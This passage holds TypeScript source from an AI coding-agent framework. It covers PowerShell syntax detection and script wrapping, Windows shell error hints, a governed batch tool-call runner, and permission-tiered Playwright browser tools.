recognized\" error. We only return\n * true for patterns that are unambiguously PowerShell.\n *\n * Detected patterns:\n * - cmdlet verb-noun syntax (`Get-`, `Set-`, `New-`, `Remove-`, `Add-`,\n * `Clear-`, `Copy-`, `Move-`, `Rename-`, `Test-`, `Update-`, `Write-`,\n * `Read-`, `Push-`, `Pop-`, `Invoke-`, `Start-`, `Stop-`, `Wait-`,\n * `Out-`, `Format-`, `Group-`, `Measure-`, `Compare-`, `Resolve-`,\n * `ConvertTo-`, `ConvertFrom-`, `Import-`, `Export-`, `Select-`,\n * `Where-`, `ForEach-`, `Sort-`, `Tee-`, `Split-`, `Join-`, `Limit-`,\n * `Skip-`, `Step-`, `Trace-`, `Debug-`, `Register-`, `Unregister-`,\n * `Enable-`, `Disable-`, `Restart-`, `Suspend-`, `Resume-`, `Save-`,\n * `Open-`, `Close-`, `Lock-`, `Unlock-`, `Mount-`, `Dismount-`,\n * `Enter-`, `Exit-`, `Use-`, `Show-`, `Hide-`, `Find-`, `Search-`,\n * `Watch-`, `Initialize-`, `Optimize-`, `Compress-`, `Expand-`,\n * `Convert-`, `Merge-`, `Checkpoint-`, `Undo-`, `Redo-`, `Approve-`,\n * `Deny-`, `Block-`, `Grant-`, `Revoke-`, `Assert-`, `Confirm-`,\n * `Resolve-`, `Wait-`, `Receive-`, `Send-`, `Connect-`, `Disconnect-`,\n * `Read-`, `Write-`).\n * - $-prefixed variables (`$env:`, `$foo`, `$script:bar`, `$_`).\n * - Subexpressions (`$(...)`).\n * - Here-strings (`@\"\u2026\"@`, `@'\u2026'@`).\n * - Splatting (`@(...)` at start of argument, `@{}` hash table).\n * - PowerShell-comparison operators (`-eq`, `-ne`, `-lt`, `-gt`, `-le`,\n * `-ge`, `-like`, `-notlike`, `-match`, `-notmatch`, `-contains`,\n * `-in`, `-and`, `-or`, `-not`, `-band`, `-bor`, `-bxor`,\n * `-replace`, `-split`, `-join`, `-is`, `-as`, `-f`).\n * - `.ps1` extension mentioned in the command.\n * - `&` call operator followed by a `$`-variable (`& $cmd ...`).\n * - Common PowerShell aliases that don't exist in cmd.exe: `gci`, `gi`,\n * `gp`, `sl`, `cd` is ambiguous (cmd.exe has `cd` too \u2014 skip), `ls`\n * ambiguous (cmd.exe does NOT have `ls`), `cat`, `cp`, `mv`, `rm`,\n * `echo` (echo is in cmd too), `gcm`, `gci`, `gps`, `ps`, `select`,\n * `where`, `?`, `%`.\n * - `#requires` directive at start of script.\n * - `param()` block at start of script.\n *\n * The Windows-style path `C:\\` alone is not a PowerShell tell \u2014 both\n * shells accept it. We only flip on PS-specific syntax.\n *\n * The function is case-insensitive and tolerates leading whitespace.\n */\nexport function looksLikePowerShell(command: string): boolean {\n if (!command) return false;\n const trimmed = command.trimStart();\n\n // .ps1 file in the command \u2192 almost certainly PowerShell.\n if (/\\.ps1\\b/i.test(trimmed)) return true;\n\n // #requires directive \u2014 only PowerShell has this.\n if (/^\\s*#requires\\s/i.test(trimmed)) return true;\n\n // param() block at start of script \u2014 PowerShell parameter declaration.\n if (/^\\s*param\\s*\\(/i.test(trimmed)) return true;\n\n // Variable reference / subexpression / here-string / splatting.\n // These four are unambiguous PowerShell syntax \u2014 no false positives in\n // any common cmd.exe or POSIX shell.\n if (/\\$[\\w:{]/i.test(trimmed)) return true; // $foo, $env:PATH, $script:x, $_\n if (/\\$\\(/.test(trimmed)) return true; // $(...)\n if (/@\\s*['\"]/.test(trimmed)) return true; // @'...'@ or @\"...\"@\n if (/&\\s+\\$/.test(trimmed)) return true; // & $cmd args\n if (/(^|\\s)@\\s*\\(/.test(trimmed)) return true; // @(...) splat\n if (/(^|\\s)@\\{/.test(trimmed)) return true; // @{} hash table / splatting\n\n // PowerShell comparison / logical operators. The leading dash + letter\n // pattern is rare in cmd.exe scripts (cmd.exe flags are usually `/x`),\n // so `-eq`, `-like`, etc. are reliable tells. We require a word boundary\n // on each side to avoid matching inside paths like `C:\\foo-eq\\bar`.\n if (/(?:^|[\\s[({,;])(?:-eq|-ne|-lt|-gt|-le|-ge|-like|-notlike|-match|-notmatch|-contains|-notcontains|-in|-notin|-and|-or|-not|-band|-bor|-bxor|-replace|-isplit|-csplit|-osplit|-join|-is|-as|-f)(?:$|[\\s\\])},;])/i.test(trimmed)) {\n return true;\n }\n\n // Cmdlet verb-noun: `<Verb>-<Noun>` where Verb is one of the canonical\n // PowerShell verbs (unambiguous list above). The Verb must be followed\n // by `-` and at least one more hyphen-separated token. This avoids\n // matching unix-style single-dash flags (`-rf`, `-la`) and double-dash\n // flags (`--foo`).\n if (PS_VERB_RE.test(trimmed)) return true;\n\n // Common PowerShell aliases that have no cmd.exe equivalent.\n // `\\b<alias>\\b` at the start of a token; preceded by start-of-string or a\n // command separator so we don't fire on substrings inside longer tokens.\n //\n // Excluded aliases (too ambiguous with cmd.exe builtins / common unix\n // tools that resolve through PATHEXT on Windows):\n // - `where` (cmd.exe `where` finds executables on PATH; PS `where` is\n // Where-Object, a pipeline filter \u2014 totally different semantics).\n // - `select` (cmd.exe has no `select`, but PS `select` is `Select-Object`\n // and we don't want a stray match in scripts that pipe `dir` into\n // something else).\n // - `ps` (single-letter collision with too many tokens; gcm/gps cover\n // the common Get-Process / Get-Command cases more precisely).\n if (/(?:^|[\\s;&|])(gci|gi|gp|gcm|gps|sl|rm|cat|cp|mv)\\b/i.test(trimmed)) {\n return true;\n }\n\n // Second-pass: additional unambiguous PowerShell patterns.\n if (looksLikePowerShellExtended(command)) return true;\n\n return false;\n}\n\n/**\n * Extended PowerShell detection \u2014 patterns that are unambiguous but less\n * common than the verb-noun cmdlets caught by the first pass.\n *\n * Covers: -WhatIf / -Confirm / -ErrorAction flags, trailing `2>&1` in\n * combination with other PS signals, `[type]` casts, Where/ForEach/\n * Select-Object pipeline, PS comment blocks, Write-* output cmdlets,\n * registry paths (HKLM:/HKCU:), -AsPlainText, -PipelineVariable.\n */\nexport function looksLikePowerShellExtended(command: string): boolean {\n if (!command) return false;\n const trimmed = command.trimStart();\n\n // -WhatIf / -Confirm / -ErrorAction \u2014 cmdlet-specific flags.\n // Use \\s before flag (not \\b) because \\b after word chars like `t` in\n // `foo.txt` doesn't match the space before `-WhatIf`.\n if (/(?:^|\\s)[-/](?:WhatIf|Confirm|ErrorAction)(?::[^\\s]+|\\s|=|$)/i.test(trimmed)) {\n return true;\n }\n\n // Pipeline cmdlets that only exist in PowerShell.\n if (/(?:^|[\\s;&|])(Where-Object|ForEach-Object|Select-Object|Sort-Object|Group-Object|Measure-Object|Compare-Object|Tee-Object)(?:\\s|$)/i.test(trimmed)) {\n return true;\n }\n\n // Write-* output cmdlets (Write-Host, Write-Output, Write-Error, etc.)\n if (/\\bWrite-(?:Host|Output|Error|Warning|Verbose|Debug|Information)(?:\\s|$)/i.test(trimmed)) {\n return true;\n }\n\n // Registry provider paths: HKLM:\\ HKCU:\\ HKCR:\\ \u2014 only PowerShell.\n if (/HK(?:LM|CU|CR|U|CC|DD|PD):\\\\/i.test(trimmed)) return true;\n\n // [type] casts: [string], [int], [xml], [System.IO.File] etc.\n if (/\\[(?:string|int|bool|xml|double|float|decimal|char|byte|long|System\\.)/i.test(trimmed)) {\n return true;\n }\n\n // PS comment block start <# ... #>\n if (/^\\s*<#|#>\\s*$/m.test(trimmed)) return true;\n\n // Common PS-only parameters: -AsPlainText, -PipelineVariable/-pv,\n // -FilterHashtable, -OutVariable/-ov\n if (/(?:^|\\s)[-//](?:AsPlainText|PipelineVariable|pv|FilterHashtable|OutVariable|ov)(?:\\s|=|$)/i.test(trimmed)) {\n return true;\n }\n\n return false;\n}\n\n/**\n * Wrap a user command for execution via `pwsh -Command -` (stdin pipe).\n *\n * The wrapper addresses four reliability gaps in Windows PowerShell:\n *\n * 1. **Console output encoding**: PS 5.1 outputs in the system codepage\n * (often Windows-1252) which mojibakes non-ASCII. Setting\n * `[Console]::OutputEncoding = [System.Text.Encoding]::UTF8` at the\n * top of the script ensures UTF-8 output in both editions.\n *\n * 2. **Exit-code propagation**: Native commands (dotnet, npm, node, etc.)\n * set `$LASTEXITCODE`. Without explicit propagation, `pwsh -Command -`\n * exits 0 even when the native command failed. Running the command body\n * and then exiting with `$LASTEXITCODE` when it is numeric preserves native\n * exit codes without swallowing PowerShell output.\n *\n * 3. **Confirmation suppression**: `$ConfirmPreference='None'` suppresses\n * interactive confirmation prompts (e.g. `-Confirm` cmdlets) so scripts\n * don't block waiting for user input. `$WhatIfPreference=$false` ensures\n * commands actually RUN (not just print what they would do).\n *\n * Do not prefix the stdin script with a UTF-8 BOM. Some PowerShell builds do\n * not strip it when reading `-Command -` and treat it as part of the first\n * command name (`\\uFEFF[Console]::OutputEncoding`), causing every wrapped\n * command to fail before the user's script runs.\n */\nexport function wrapPowerShellScript(command: string): string {\n const bootstrap =\n '[Console]::OutputEncoding = [System.Text.Encoding]::UTF8;' +\n \"$ConfirmPreference='None';$WhatIfPreference=$false\";\n return (\n bootstrap +\n \"\\n$ErrorActionPreference='Stop'\\n\" +\n command +\n '\\nif ($LASTEXITCODE -is [int]) { exit $LASTEXITCODE }'\n );\n}\n\n/**\n * The canonical PowerShell verbs (and their common variants). Used only by\n * `looksLikePowerShell` to detect `<Verb>-<Noun>` cmdlet syntax. The full\n * list is long; we cover every verb in the PowerShell 7 SDK's\n * `VerbsCommon`, `VerbsData`, `VerbsDiagnostic`, `VerbsLifecycle`,\n * `VerbsOther`, `VerbsSecurity`, and `VerbsCommunications` modules, plus the\n * most-used verbs from `VerbsApproved`.\n *\n * We list them in the regex below rather than as a Set because matching is\n * done in a single regex pass over the command string \u2014 building a Set and\n * scanning every token would be slower and harder to read.\n */\nconst PS_VERB_RE = new RegExp(\n // Boundaries: start-of-string, whitespace, `;`, `&`, `|`, `(`, `{`, `,`.\n '(?:^|[\\\\s;&|\\\\(\\\\{,])' +\n // The verb itself, followed by `-`.\n '(?:' +\n 'Get|Set|New|Remove|Add|Clear|Copy|Move|Rename|Test|Update|Write|Read|Push|Pop|Invoke|Start|Stop|Wait|' +\n 'Out|Format|Group|Measure|Compare|Resolve|ConvertTo|ConvertFrom|Convert|Import|Export|Select|Where|ForEach|Sort|' +\n 'Tee|Split|Join|Limit|Skip|Step|Trace|Debug|Register|Unregister|Enable|Disable|Restart|Suspend|Resume|Save|' +\n 'Open|Close|Lock|Unlock|Mount|Dismount|Enter|Exit|Use|Show|Hide|Find|Search|Watch|Initialize|Optimize|' +\n 'Compress|Expand|Merge|Checkpoint|Undo|Redo|Approve|Deny|Block|Grant|Revoke|Assert|Confirm|Receive|Send|' +\n 'Connect|Disconnect|Reset|Backup|Restore|Publish|Unpublish|Install|Uninstall|Build|Rebuild|Deploy|' +\n 'Submit|Process|Complete|Approve|Revoke|Pay|Refund|Decline|Receive|Send' +\n ')-' +\n // Noun: at least one non-space, non-quote character. We require a `-`\n // after the verb, so the matched token is at minimum `Verb-X` \u2014 already\n // cmdlet-shaped. Noun chars are `[A-Za-z0-9]`; PowerShell noun tokens\n // never contain spaces or punctuation.\n '[A-Za-z][A-Za-z0-9]+(?:[\\\\-\\\\+][A-Za-z][A-Za-z0-9]+)*' +\n // Optional: followed by whitespace, end-of-string, `-` (continuation),\n // or a flag. This avoids matching only the *prefix* of a longer token\n // (e.g. `Get-Content` shouldn't fire if the next char is itself a\n // letter forming part of a longer path \u2014 but paths can't follow a\n // cmdlet verb without a space, so a trailing non-letter is sufficient).\n '(?:$|[\\\\s\\\\-\\\\;\\\\&\\\\|\\\\(\\\\)\\\\{\\\\},])',\n 'i',\n);\n\n/**\n * Return the argv prefix for a given shell. The bash tool passes a single\n * command string and expects the shell to interpret it. cmd.exe uses\n * `/c <cmd>`; PowerShell uses `-NoLogo -NoProfile -NonInteractive -Command -`\n * and reads the script from stdin (the `-` at the end is the documented way\n * to tell PowerShell \"the script is on stdin, not as an argument\"). Stdin\n * pipe sidesteps the entire class of quoting bugs that arise from\n * interpolating multi-line / single-quoted / dollar-sign-laden scripts into\n * a `-Command \"...\"` string.\n */\nexport function shellArgs(shell: BashShell): string[] {\n if (shell === 'powershell' || shell === 'pwsh') {\n return ['-NoLogo', '-NoProfile', '-NonInteractive', '-Command', '-'];\n }\n return ['/c'];\n}\n\n/**\n * Post-failure diagnosis: when a Windows shell command exits non-zero, scan it\n * for bash/POSIX idioms the shell does not accept and return a short, targeted\n * hint (with the right replacement) so the model self-corrects on the next turn.\n *\n * Deliberately **failure-coupled** \u2014 the bash tool only calls this on a\n * non-zero exit. That keeps it noise-free (PowerShell aliases `ls`/`cat`/`rm`\n * succeed, so they never reach here) and side-steps shell-version nuance: `&&`\n * works in PowerShell 7 and cmd.exe (so those commands succeed and are never\n * flagged) but breaks in Windows PowerShell 5.1 (where the command fails and is\n * flagged). Never mutates or blocks \u2014 advisory only.\n *\n * Returns `undefined` when nothing actionable is found (including any POSIX\n * call \u2014 bash idioms are correct there).\n */\nexport function diagnoseBashism(command: string, shell: BashShell): string | undefined {\n if (!command) return undefined;\n const isCmd = shell === 'cmd';\n const hints: string[] = [];\n const add = (h: string) => {\n if (!hints.includes(h)) hints.push(h);\n };\n\n if (/\\/dev\\/null/.test(command)) {\n add(\n isCmd\n ? 'use `nul` instead of `/dev/null` (e.g. `2>nul`)'\n : 'use `$null` instead of `/dev/null` (e.g. `2>$null`)',\n );\n }\n if (/(^|[;&|]\\s*)export\\s+[A-Za-z_]\\w*=/.test(command)) {\n add(\n isCmd\n ? 'set env vars with `set NAME=value`, not `export`'\n : \"set env vars with `$env:NAME = 'value'`, not `export`\",\n );\n }\n if (/<<-?\\s*['\"]?[A-Za-z_]\\w*/.test(command)) {\n add(\n isCmd\n ? 'cmd has no heredocs \u2014 write the content to a file or use multiple `echo` lines'\n : \"PowerShell has no heredocs \u2014 use a single-quoted here-string `@'\u2026'@` (closing `'@` at column 0)\",\n );\n }\n // && / || only break in Windows PowerShell 5.1; pwsh 7 and cmd.exe accept them\n // (and those commands therefore succeed and never reach this diagnosis).\n if (shell === 'powershell' && /(&&|\\|\\|)/.test(command)) {\n add('Windows PowerShell 5.1 has no `&&`/`||` \u2014 separate commands with `;` (check `$LASTEXITCODE`)');\n }\n if (/\\brm\\s+-[A-Za-z]*[rf]/.test(command)) {\n add(\n isCmd\n ? '`rm` is not a cmd builtin \u2014 use `del` (files) or `rmdir /s /q` (dirs)'\n : \"use `Remove-Item -Recurse -Force` \u2014 the `rm -rf` bash flags don't exist in PowerShell\",\n );\n }\n if (/\\bwhich\\s+\\S/.test(command)) {\n add(isCmd ? 'use `where <cmd>` instead of `which`' : 'use `Get-Command <cmd>` instead of `which`');\n }\n\n if (hints.length === 0) return undefined;\n const label = isCmd ? 'cmd.exe' : shell === 'pwsh' ? 'PowerShell 7' : 'Windows PowerShell';\n return `[wrongstack] This command failed and contains bash/POSIX syntax that ${label} does not accept \u2014 ${hints.join('; ')}. Rewrite it in ${isCmd ? 'cmd' : 'PowerShell'} syntax and retry.`;\n}\n", "import {\n GOVERNED_TOOL_EXECUTOR_META_KEY,\n type GovernedToolExecutor,\n type Tool,\n} from '@wrongstack/core/types';\n\ninterface BatchToolUseInput {\n calls: {\n tool: string;\n input: Record<string, unknown>;\n }[];\n stop_on_error?: boolean | undefined;\n parallel?: boolean | undefined;\n}\n\ninterface BatchToolUseOutput {\n results: {\n tool: string;\n success: boolean;\n result?: unknown | undefined;\n error?: string | undefined;\n executionMs: number;\n }[];\n total: number;\n succeeded: number;\n failed: number;\n stop_on_error: boolean;\n}\n\nexport const batchToolUseTool: Tool<BatchToolUseInput, BatchToolUseOutput> = {\n name: 'batch_tool_use',\n category: 'Meta',\n description:\n 'Execute a batch of tool calls either sequentially or in parallel. Returns structured results for every call.',\n usageHint:\n 'ADVANCED / POWER USER TOOL:\\n\\n' +\n '- Useful when you have a clear list of independent operations to perform.\\n' +\n '- `parallel: true` (default) runs them concurrently for speed.\\n' +\n '- `stop_on_error: true` makes it fail fast on the first error.\\n' +\n 'Use with care \u2014 batching many mutating operations can be risky. Prefer explicit sequential steps for important work.',\n permission: 'confirm',\n mutating: true,\n timeoutMs: 120_000,\n capabilities: ['tool.mutate.any'],\n icon: 'meta',\n inputSchema: {\n type: 'object',\n properties: {\n calls: {\n type: 'array',\n items: {\n type: 'object',\n properties: {\n tool: { type: 'string' },\n input: { type: 'object' },\n },\n required: ['tool'],\n },\n description: 'Array of tool calls to execute',\n },\n stop_on_error: {\n type: 'boolean',\n description: 'Stop execution on first error (default: false)',\n },\n parallel: {\n type: 'boolean',\n description: 'Execute calls in parallel (default: true)',\n },\n },\n required: ['calls'],\n },\n async execute(input, ctx, _opts) {\n if (!input?.calls || input.calls.length === 0) {\n return {\n results: [],\n total: 0,\n succeeded: 0,\n failed: 0,\n stop_on_error: false,\n };\n }\n\n const governedExecute = ctx.meta[GOVERNED_TOOL_EXECUTOR_META_KEY] as\n | GovernedToolExecutor\n | undefined;\n if (typeof governedExecute !== 'function') {\n return {\n results: input.calls.map((call) => ({\n tool: call.tool,\n success: false,\n error: 'governed nested execution is unavailable; call the tool directly',\n executionMs: 0,\n })),\n total: input.calls.length,\n succeeded: 0,\n failed: input.calls.length,\n stop_on_error: input.stop_on_error ?? false,\n };\n }\n\n const results: BatchToolUseOutput['results'] = [];\n let succeeded = 0;\n let failed = 0;\n\n if (input.parallel !== false) {\n const promises = input.calls.map(async (call) => executeSingle(call, ctx, governedExecute));\n const allResults = await Promise.all(promises);\n results.push(...allResults);\n succeeded = allResults.filter((r) => r.success).length;\n failed = allResults.filter((r) => !r.success).length;\n } else {\n for (const call of input.calls) {\n const result = await executeSingle(call, ctx, governedExecute);\n results.push(result);\n if (result.success) {\n succeeded++;\n } else {\n failed++;\n if (input.stop_on_error) break;\n }\n }\n }\n\n return {\n results,\n total: input.calls.length,\n succeeded,\n failed,\n stop_on_error: input.stop_on_error ?? false,\n };\n },\n};\n\nasync function executeSingle(\n call: { tool: string; input: Record<string, unknown> },\n ctx: import('@wrongstack/core/agent').Context,\n governedExecute: GovernedToolExecutor,\n): Promise<BatchToolUseOutput['results'][0]> {\n const start = Date.now();\n const tool = ctx.tools.find((candidate: Tool) => candidate.name === call.tool);\n\n if (!tool) {\n return {\n tool: call.tool,\n success: false,\n error: `tool \"${call.tool}\" not found`,\n executionMs: Date.now() - start,\n };\n }\n\n try {\n const result = await governedExecute(call.tool, call.input);\n return {\n tool: call.tool,\n success: result.success,\n ...(result.success ? { result: result.result } : { error: result.error ?? 'nested tool failed' }),\n executionMs: Date.now() - start,\n };\n } catch (e) {\n return {\n tool: call.tool,\n success: false,\n error: e instanceof Error ? e.message : String(e),\n executionMs: Date.now() - start,\n };\n }\n}\n", "import * as path from 'node:path';\nimport type { Context } from '@wrongstack/core/agent';\nimport { ToolCapabilities } from '@wrongstack/core/security';\nimport type { Tool } from '@wrongstack/core/types';\nimport { resolveWstackPaths } from '@wrongstack/core/utils';\nimport { BrowserSessionManager, browserInstallationDiagnostics } from './manager.js';\nimport { parsePrivateOriginAllowlist } from './security.js';\n\nconst managers = new Map<string, BrowserSessionManager>();\nconst cleanupSignalByContext = new WeakMap<object, AbortSignal>();\n\nfunction managerFor(ctx: Context): BrowserSessionManager {\n const root = path.resolve(ctx.projectRoot);\n let manager = managers.get(root);\n if (!manager) {\n const wpaths = resolveWstackPaths({ projectRoot: root });\n manager = new BrowserSessionManager({\n artifactRoot: path.join(wpaths.projectDir, 'browser-artifacts'),\n allowedPrivateOrigins: parsePrivateOriginAllowlist(\n process.env['WRONGSTACK_BROWSER_PRIVATE_ORIGINS'],\n ),\n });\n managers.set(root, manager);\n }\n const runSignal = ctx.signal;\n if (cleanupSignalByContext.get(ctx) !== runSignal) {\n cleanupSignalByContext.set(ctx, runSignal);\n const managerForRun = manager;\n const rootForRun = root;\n const ownerForRun = owner(ctx);\n ctx.registerAbortHook?.(async () => {\n if (cleanupSignalByContext.get(ctx) === runSignal) {\n cleanupSignalByContext.delete(ctx);\n }\n await managerForRun.closeOwner(ownerForRun);\n // Managers are keyed by project root and own a listening network proxy.\n // Drop the entry as soon as the final owner is gone so project switching\n // cannot accumulate one proxy/server handle per visited repository.\n if (managerForRun.isIdle() && managers.get(rootForRun) === managerForRun) {\n managers.delete(rootForRun);\n await managerForRun.dispose();\n }\n });\n }\n return manager;\n}\n\nfunction owner(ctx: Context): string {\n return ctx.agentId || 'leader';\n}\n\nfunction json(value: unknown): string {\n return JSON.stringify(value, null, 2);\n}\n\nconst sessionIdSchema = {\n type: 'string',\n minLength: 1,\n description: 'Browser session id returned by browser_open.',\n} as const;\n\nexport const browserOpenTool: Tool<{\n url?: string | undefined;\n width?: number | undefined;\n height?: number | undefined;\n trace?: boolean | undefined;\n}> = {\n name: 'browser_open',\n description:\n 'Open an isolated first-party Playwright browser session, optionally navigating to a URL.',\n usageHint: 'browser_open({ url?, width?, height?, trace? })',\n permission: 'confirm',\n mutating: true,\n riskTier: 'standard',\n capabilities: [ToolCapabilities.NET_OUTBOUND],\n subjectKey: 'url',\n inputSchema: {\n type: 'object',\n properties: {\n url: { type: 'string', description: 'Optional absolute http(s) URL.' },\n width: { type: 'integer', minimum: 320, maximum: 3840 },\n height: { type: 'integer', minimum: 240, maximum: 2160 },\n trace: { type: 'boolean', description: 'Capture a Playwright trace; defaults to true.' },\n },\n },\n async execute(input, ctx, opts) {\n const viewport =\n input.width || input.height\n ? { width: input.width ?? 1440, height: input.height ?? 900 }\n : undefined;\n return json(\n await managerFor(ctx).open(\n owner(ctx),\n { url: input.url, viewport, trace: input.trace },\n opts.signal,\n ),\n );\n },\n};\n\nexport const browserListTool: Tool<Record<string, never>> = {\n name: 'browser_list',\n description:\n 'List browser sessions owned by the current agent without exposing other agents sessions.',\n permission: 'auto',\n mutating: false,\n riskTier: 'safe',\n capabilities: [ToolCapabilities.NET_OUTBOUND],\n inputSchema: { type: 'object', properties: {} },\n async execute(_input, ctx) {\n return json(await managerFor(ctx).list(owner(ctx)));\n },\n};\n\nexport const browserStatusTool: Tool<Record<string, never>> = {\n name: 'browser_status',\n description: 'Check whether first-party Playwright Chromium is installed and ready to launch.',\n permission: 'auto',\n mutating: false,\n riskTier: 'safe',\n capabilities: [ToolCapabilities.TOOL_META],\n inputSchema: { type: 'object', properties: {} },\n async execute() {\n return json(await browserInstallationDiagnostics());\n },\n};\n\nexport const browserNavigateTool: Tool<{ sessionId: string; url: string }> = {\n name: 'browser_navigate',\n description: 'Navigate an owned browser session to an approved http(s) URL.',\n usageHint: 'browser_navigate({ sessionId, url })',\n permission: 'confirm',\n mutating: true,\n riskTier: 'standard',\n capabilities: [ToolCapabilities.NET_OUTBOUND],\n subjectKey: 'url',\n inputSchema: {\n type: 'object',\n properties: { sessionId: sessionIdSchema, url: { type: 'string', minLength: 1 } },\n required: ['sessionId', 'url'],\n },\n async execute(input, ctx, opts) {\n return json(\n await managerFor(ctx).navigate(input.sessionId, owner(ctx), input.url, opts.signal),\n );\n },\n};\n\nexport const browserSnapshotTool: Tool<{ sessionId: string }> = {\n name: 'browser_snapshot',\n description: 'Return bounded accessibility state plus redacted console and network summaries.',\n usageHint: 'browser_snapshot({ sessionId })',\n permission: 'auto',\n mutating: false,\n riskTier: 'safe',\n capabilities: [ToolCapabilities.NET_OUTBOUND],\n inputSchema: {\n type: 'object',\n properties: { sessionId: sessionIdSchema },\n required: ['sessionId'],\n },\n async execute(input, ctx, opts) {\n return json(await managerFor(ctx).snapshot(input.sessionId, owner(ctx), opts.signal));\n },\n};\n\nexport const browserScreenshotTool: Tool<{\n sessionId: string;\n fullPage?: boolean | undefined;\n selector?: string | undefined;\n}> = {\n name: 'browser_screenshot',\n description:\n 'Capture a page or element PNG and return sensitive artifact metadata with integrity hash.',\n usageHint: 'browser_screenshot({ sessionId, fullPage?, selector? })',\n permission: 'confirm',\n mutating: true,\n riskTier: 'safe',\n capabilities: [ToolCapabilities.NET_OUTBOUND],\n inputSchema: {\n type: 'object',\n properties: {\n sessionId: sessionIdSchema,\n fullPage: { type: 'boolean' },\n selector: { type: 'string', minLength: 1 },\n },\n required: ['sessionId'],\n },\n async execute(input, ctx, opts) {\n return json(\n await managerFor(ctx).screenshot(\n input.sessionId,\n owner(ctx),\n { fullPage: input.fullPage, selector: input.selector },\n opts.signal,\n ),\n );\n },\n};\n\ntype SelectorInput = { sessionId: string; selector: string };\n\nfunction selectorTool(\n name: string,\n description: string,\n run: (\n manager: BrowserSessionManager,\n input: SelectorInput,\n ownerId: string,\n signal: AbortSignal,\n ) => Promise<void>,\n): Tool<SelectorInput> {\n return {\n name,\n description,\n usageHint: `${name}({ sessionId, selector })`,\n permission: 'confirm',\n mutating: true,\n riskTier: 'standard',\n capabilities: [ToolCapabilities.NET_OUTBOUND],\n inputSchema: {\n type: 'object',\n properties: { sessionId: sessionIdSchema, selector: { type: 'string', minLength: 1 } },\n required: ['sessionId', 'selector'],\n },\n async execute(input, ctx, opts) {\n await run(managerFor(ctx), input, owner(ctx), opts.signal);\n return 'ok';\n },\n };\n}\n\nexport const browserClickTool = selectorTool(\n 'browser_click',\n 'Click an element in an owned browser session.',\n (manager, input, ownerId, signal) =>\n manager.click(input.sessionId, ownerId, input.selector, signal),\n);\n\nexport const browserHoverTool = selectorTool(\n 'browser_hover',\n 'Hover an element in an owned browser session.',\n (manager, input, ownerId, signal) =>\n manager.hover(input.sessionId, ownerId, input.selector, signal),\n);\n\nexport const browserTypeTool: Tool<\n SelectorInput & { text?: string | undefined; secretEnv?: string | undefined }\n> = {\n name: 'browser_type',\n description:\n 'Fill an input in an owned browser session. Use secretEnv instead of text for credentials so values stay out of tool arguments and session audit.',\n usageHint: 'browser_type({ sessionId, selector, text? | secretEnv? })',\n permission: 'confirm',\n mutating: true,\n riskTier: 'standard',\n capabilities: [ToolCapabilities.NET_OUTBOUND],\n inputSchema: {\n type: 'object',\n properties: {\n sessionId: sessionIdSchema,\n selector: { type: 'string', minLength: 1 },\n text: { type: 'string' },\n secretEnv: {\n type: 'string',\n pattern: '^[A-Z_][A-Z0-9_]*$',\n description: 'Host environment variable resolved only at execution time.',\n },\n },\n required: ['sessionId', 'selector'],\n },\n validate(input) {\n return (input.text === undefined) === (input.secretEnv === undefined)\n ? ['exactly one of text or secretEnv is required']\n : [];\n },\n async execute(input, ctx, opts) {\n const value = input.text ?? (input.secretEnv ? process.env[input.secretEnv] : undefined);\n if (value === undefined) {\n throw new Error(`browser: secret environment variable \"${input.secretEnv ?? ''}\" is not set`);\n }\n await managerFor(ctx).type(input.sessionId, owner(ctx), input.selector, value, opts.signal);\n return 'ok';\n },\n};\n\nexport const browserSelectTool: Tool<SelectorInput & { value: string }> = {\n name: 'browser_select',\n description: 'Select an option in an owned browser session.',\n usageHint: 'browser_select({ sessionId, selector, value })',\n permission: 'confirm',\n mutating: true,\n riskTier: 'standard',\n capabilities: [ToolCapabilities.NET_OUTBOUND],\n inputSchema: {\n type: 'object',\n properties: {\n sessionId: sessionIdSchema,\n selector: { type: 'string', minLength: 1 },\n value: { type: 'string' },\n },\n required: ['sessionId', 'selector', 'value'],\n },\n async execute(input, ctx, opts) {\n await managerFor(ctx).select(\n input.sessionId,\n owner(ctx),\n input.selector,\n input.value,\n opts.signal,\n );\n return 'ok';\n },\n};\n\nexport const browserPressTool: Tool<{ sessionId: string; key: string }> = {\n name: 'browser_press',\n description: 'Press a keyboard key in an owned browser session.',\n usageHint: 'browser_press({ sessionId, key })',\n permission: 'confirm',\n mutating: true,\n riskTier: 'standard',\n capabilities: [ToolCapabilities.NET_OUTBOUND],\n inputSchema: {\n type: 'object',\n properties: { sessionId: sessionIdSchema, key: { type: 'string', minLength: 1 } },\n required: ['sessionId', 'key'],\n },\n async execute(input, ctx, opts) {\n await managerFor(ctx).press(input.sessionId, owner(ctx), input.key, opts.signal);\n return 'ok';\n },\n};\n\nexport const browserDragTool: Tool<{ sessionId: string; from: string; to: string }> = {\n name: 'browser_drag',\n description: 'Drag one element to another in an owned browser session.',\n usageHint: 'browser_drag({ sessionId, from, to })',\n permission: 'confirm',\n mutating: true,\n riskTier: 'standard',\n capabilities: [ToolCapabilities.NET_OUTBOUND],\n inputSchema: {\n type: 'object',\n properties: {\n sessionId: sessionIdSchema,\n from: { type: 'string', minLength: 1 },\n to: { type: 'string', minLength: 1 },\n },\n required: ['sessionId', 'from', 'to'],\n },\n async execute(input, ctx, opts) {\n await managerFor(ctx).drag(input.sessionId, owner(ctx), input.from, input.to, opts.signal);\n return 'ok';\n },\n};\n\nexport const browserWaitTool: Tool<{\n sessionId: string;\n selector?: string | undefined;\n timeoutMs?: number | undefined;\n}> = {\n name: 'browser_wait',\n description: 'Wait for an element or a bounded duration in an owned browser session.',\n usageHint: 'browser_wait({ sessionId, selector?, timeoutMs? })',\n permission: 'auto',\n mutating: false,\n riskTier: 'safe',\n capabilities: [ToolCapabilities.NET_OUTBOUND],\n inputSchema: {\n type: 'object',\n properties: {\n sessionId: sessionIdSchema,\n selector: { type: 'string', minLength: 1 },\n timeoutMs: { type: 'integer', minimum: 0, maximum: 30000 },\n },\n required: ['sessionId'],\n },\n async execute(input, ctx, opts) {\n await managerFor(ctx).wait(\n input.sessionId,\n owner(ctx),\n { selector: input.selector, timeoutMs: input.timeoutMs },\n opts.signal,\n );\n return 'ok';\n },\n};\n\nexport const browserEvaluateTool: Tool<{ sessionId: string; expression: string }> = {\n name: 'browser_evaluate',\n description:\n 'Evaluate bounded JavaScript in the page. Requires confirmation because page code is arbitrary.',\n usageHint: 'browser_evaluate({ sessionId, expression })',\n permission: 'confirm',\n mutating: true,\n riskTier: 'destructive',\n capabilities: [ToolCapabilities.NET_OUTBOUND, ToolCapabilities.TOOL_MUTATE_ANY],\n inputSchema: {\n type: 'object',\n properties: 